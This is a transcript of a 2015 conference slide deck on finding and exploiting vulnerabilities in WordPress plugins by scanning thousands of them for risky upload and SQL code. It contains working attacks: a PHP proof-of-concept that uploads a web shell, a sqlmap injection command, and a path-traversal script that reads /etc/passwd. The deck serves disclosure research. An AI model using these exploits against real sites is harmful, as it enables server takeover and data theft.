hacking wordpress plugins

31
Hacking WordPress Plugins Larry W. Cashdollar 8/1/2015 v1.2

Upload: larry-cashdollar

Post on 11-Jan-2017

449 views

Category:

Software


3 download

TRANSCRIPT

Page 1: Hacking Wordpress Plugins

Hacking WordPress PluginsLarry W. Cashdollar

8/1/2015v1.2

Page 2: Hacking Wordpress Plugins

What is WordPress

• Content Management System (CMS)• 23% of all websites (3/23/15)• Plugins - add functionality• Plugins may be authored by anyone

Page 3: Hacking Wordpress Plugins

Why hack WordPress plugins?

• #1 CMS by number and percentage• Poor security model• Lack of QA on 3rd party plugins• More fun than Ruby Gems

Page 4: Hacking Wordpress Plugins

Methodology

• Large code footprint with plugins and themes• Prefer no authentication required to exploit*• Look for PHP code that might be exploitable• Search specific traits or patterns:

– upload.php – download.php– proxy.php

Page 5: Hacking Wordpress Plugins

Requirements

• Processes user input• Has reachable code, not just defining a class• Doesn’t check if accessed directly• Doesn’t require authentication• Doesn’t require WP API hooks*

Page 6: Hacking Wordpress Plugins

Vulnerabilities

• LFI• RFI• RCE• Open Proxies• SQL Injection• XSS

Page 7: Hacking Wordpress Plugins

Plugin Code Criteria

• Doesn’t have POST/GET/FILE/REQUEST PUNT• If (!defined(ABSPATH)) die; PUNT• If (!is_admin) die; PUNT• Function class() {}; PUNT• May have Injectable SELECT, INSERT, DELETE,

UPDATE, etc.

Page 8: Hacking Wordpress Plugins

A Quick Look

• Download a few random plugins• Examine files named upload.php or

download.php• Found RFI in videowhisper-video-presentation• The code:

Page 9: Hacking Wordpress Plugins

1 <?php 2 3 if ($_GET["room"]) $room=$_GET["room"]; 4 if ($_POST["room"]) $room=$_POST["room"]; 5 $filename=$_FILES['vw_file']['name']; 6 7 include_once("incsan.php"); 8 sanV($room); 9 if (!$room) exit; 10 sanV($filename); 11 if (!$filename) exit; 12 13 if (strstr($filename,'.php')) exit; 14 15 //do not allow uploads to other folders 16 if ( strstr($room,"/") || strstr($room,"..") ) exit; 17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 18 19 $destination="uploads/".$room."/"; 20 if ($_GET["slides"]) $destination .= "slides/"; 21 22 $ext=strtolower(substr($filename,-4)); 23 $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps "); 24 25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 26 ?>loadstatus=1

Page 10: Hacking Wordpress Plugins

Exploiting it

• Upload .phtml .shtml • Execute as www-data user• Previously patched (I circumvented)*• Also present in videowhisper-video-

conference-integration

* Annoying but still fun

Page 11: Hacking Wordpress Plugins

Initial Progress

• Downloaded 10 random plugins• Found RFI in two of them!• Plugins had ~ 5k downloads

• Must be more vulnerabilities out there

Page 12: Hacking Wordpress Plugins

Automate?

• Download lots of plugins• grep code for specific patterns?• Same idea as Ruby Gem research I did• Easy to test with PoC• More fun!

• Maybe write code to flag high risk code?

Page 13: Hacking Wordpress Plugins

Code Ferret v1.0 Feature Doc

• Supply list of .php files to examine• Check for user input• Ignore if author checks for ABSPATH etc..• Look for SQL functions• Flag if use of WP API• Flag if include files

Page 14: Hacking Wordpress Plugins

Code Ferret v1.0 Design Doc

• Look for specific functions and strings• Anything of interest added to link list• Link list stores line number and reason for flag• Dump output & statistics • ANSI COLOR!

Page 15: Hacking Wordpress Plugins

Semi Automatic

• git pull https://plugins.svn.wordpress.org • Scraped Plugins off wordpress.org• Downloaded 36,000 plugins• About 20 GB of data• upload.php or download.php• Use Ferret v1.0 to quickly examine lots of files• Profit! Err get some CVEs

Page 16: Hacking Wordpress Plugins

Ferret output

Page 17: Hacking Wordpress Plugins

Ferret First Run

• wp-powerplaygallery v3.3 • Flagged for user input with no access controls• Accesses WordPress API calls• Loads WordPress functions via require_once()• Code examination turns up RFI and Blind SQLi!

Page 18: Hacking Wordpress Plugins

wp-powerplaygallery RFI Code143: if (!empty($_FILES)) {144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."} , "id" : "id"}');146: }147: 148: // Read binary input stream and append it to temp file149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) {150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');151: }. 158: while ($buff = fread($in, 4096)) {159: fwrite($out, $buff);160: }

Page 19: Hacking Wordpress Plugins

wp-powerplaygallery SQLI code131: $query = "INSERT INTO ".$wpdb->prefix."pp_images (`category_id`, `title`, `description`, `price`, `thumb`, `image`, `status`, `order`, `creation_date` ) VALUES (".$_REQUEST['albumid'].",'".$imgname[0]."','".$imgname[0]."','','".$resize."','".$_REQUEST['name']."',1,'','NULL')";

133 : $wpdb->query($query);

Page 20: Hacking Wordpress Plugins

RFI Exploit Requirements

• POST request• Variable albumid must point at existing album

in database• File to upload must exist locally• Use c99 shell as our payload• file variable contains payload with local full

path• name variable contains our filename

Page 21: Hacking Wordpress Plugins

PoC Exploit• <?php• /*Remote shell upload exploit for wp-powerplaygallery v3.3 */• /*Larry W. Cashdollar @_larry0• 6/27/2015• albumid needs to be a numeric value matching an existing album number, 1 is probably a good start• but you can enumerate these by using curl, and looking for redirect 301 responses:• e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big• ->301 exists else 404 doesn't.• shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php• */• • • $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php';• $file_name_with_full_path = '/var/www/shell.php';• • echo "POST to $target_url $file_name_with_full_path";• $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path);• • $ch = curl_init();• curl_setopt($ch, CURLOPT_URL,$target_url);• curl_setopt($ch, CURLOPT_POST,1);• curl_setopt($ch, CURLOPT_POSTFIELDS, $post);• curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);• $result=curl_exec ($ch);• curl_close ($ch);• echo "<hr>";• echo $result;• echo "<hr>";• ?>

Page 22: Hacking Wordpress Plugins

Blind SQLi Exploit

• Sqlmap

$ sqlmap -u http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php --data "albumid=1” —dbms mysql –level 5 –risk 3

Page 23: Hacking Wordpress Plugins

Lazy Exploits

• Started using php-cgi to test exploits• The script Poc.sh#!/bin/shexport GATEWAY_INTERFACE=CGI/1.1export PATH_TRANSLATED=UserSettings.phpexport QUERY_STRING=network=../../../../../../../../etc/passwdexport REDIRECT_STATUS=CGIexport REQUEST_METHOD=GETphp-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php

$ ./Poc.sh

Page 24: Hacking Wordpress Plugins

Pitfalls of Exploitation

• Exploitable code is a class and isn’t reachable*• Code uses WordPress functions or functions

from other segments of code with no includes• Code is incomplete or just broken• Someone discovered it last year

Page 25: Hacking Wordpress Plugins

Fatal Errors• [Thu Aug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function

trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php on line 27

• [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in /etc/wordpress/config-www.vapidlabs.com.php on line 90

• [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

• [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

• [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on line 20

Page 26: Hacking Wordpress Plugins

Vulnerable and Broken• <?php• $uploaddir = 'uploads/'; This needs to be full path• $file = $uploaddir . basename($_FILES['uploadfile']['name']);• if (move_uploaded_file($_FILES['uploadfile']['tmp_name'],

$file)) {• echo "success";• } else {• echo "error";• }• ?>

Page 27: Hacking Wordpress Plugins

oddities

• Return local IP address of server• Prints the FULL path of the webserver server• Plugin that downloads itself ?!

Page 28: Hacking Wordpress Plugins

Statistics• 20 CVEs• 26* Vulnerabilities found• 6 were previously discovered and not included*• All in all 32 Vulnerabilities discovered• Dozens of known exploitable vulnerabilities remain

unpatched

* I now google ‘<pluginname> vulnerability’ before bothering to document

Page 29: Hacking Wordpress Plugins

Improvements

• Parse php scripts checking for reachable code• Use RIPS v1.0 (thanks Chad!)• Circle back and examine vulnerabilities that

require login to WP for exploitation

Page 30: Hacking Wordpress Plugins

Questions?

[email protected]• Twitter @_larry0

Page 31: Hacking Wordpress Plugins

Who Am I• 15 years at Akamai Technologies• Hobbyist Vulnerability Researcher• 75+ CVEs• Formerly Unix Systems Administrator 17 years • Penetration Tester Back in Late 90s• Enjoy Writing and Breaking Code